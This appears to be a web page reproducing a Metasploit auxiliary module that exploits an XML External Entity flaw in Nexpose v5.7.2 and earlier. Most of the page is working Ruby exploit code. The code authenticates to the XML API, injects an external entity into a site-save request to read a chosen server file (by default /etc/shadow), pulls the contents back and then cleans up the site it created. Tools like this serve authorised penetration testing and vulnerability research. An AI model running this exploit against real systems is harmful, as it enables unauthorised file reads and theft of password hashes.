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Nexpose XXE Arbitrary File Read

Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number of vectors. This vulnerability can allow an attacker to a craft special XML that could read arbitrary files from the filesystem. This Metasploit module exploits the vulnerability via the XML API.

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### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'nexpose'class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Nexpose XXE Arbitrary File Read',        'Description' => %q{          Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number          of vectors. This vulnerability can allow an attacker to a craft special XML that          could read arbitrary files from the filesystem. This module exploits the          vulnerability via the XML API.        },        'Author' => [          'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module          'Drazen Popovic <drazen.popvic[at]infigo.hr>',  # Independent discovery, alternate vector          'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>'      # Independently reported        ],        'License' => MSF_LICENSE,        'References' => [          [ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ]        ],        'DefaultOptions' => {          'SSL' => true        }      )    )    register_options(      [        Opt::RPORT(3780),        OptString.new('USERNAME', [true, 'The Nexpose user', nil]),        OptString.new('PASSWORD', [true, 'The Nexpose password', nil]),        OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/shadow'])      ]    )  end  def run    user = datastore['USERNAME']    pass = datastore['PASSWORD']    trust_store = datastore['TRUST_STORE']    nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store)    print_status('Authenticating as: ' << user)    begin      nsc.login      connection_details = {        module_fullname: fullname,        username: user,        private_data: pass,        private_type: :password,        status: Metasploit::Model::Login::Status::UNTRIED      }.merge(service_details)      create_credential_and_login(connection_details)    rescue StandardError      print_error('Error authenticating, check your credentials')      return    end    xml = '<!DOCTYPE foo ['    xml << '<!ELEMENT host ANY>'    xml << %(<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">)    xml << ']>'    xml << '<SiteSaveRequest session-id="'    xml << nsc.session_id    xml << '">'    xml << '<Site id="-1" name="fdsa" description="fdfdsa">'    xml << '<Hosts>'    xml << '<host>&xxe;</host>'    xml << '</Hosts>'    xml << '<Credentials />'    xml << '<Alerting />'    xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'    xml << '</Site>'    xml << '</SiteSaveRequest>'    print_status('Sending payload')    begin      fsa = nsc.execute(xml)    rescue StandardError      print_error('Error executing API call for site creation, ensure the filepath is correct')      return    end    doc = REXML::Document.new fsa.raw_response_data    id = doc.root.attributes['site-id']    xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"    print_status('Retrieving file')    begin      fsa = nsc.execute(xml)    rescue StandardError      nsc.site_delete id      print_error('Error retrieving the file.')      return    end    doc = REXML::Document.new fsa.raw_response_data    print_status('Cleaning up')    begin      nsc.delete_site id    rescue StandardError      print_warning('Error while cleaning up site ID, manual cleanup required!')    end    unless doc.root.elements['//host']      print_error('No file returned. Either the server is patched or the file did not exist.')      return    end    path = store_loot('nexpose.file', 'text/plain', rhost, doc.root.elements['//host'].first.to_s, "File from Nexpose server #{rhost}")    print_good('File saved to path: ' << path)  endend

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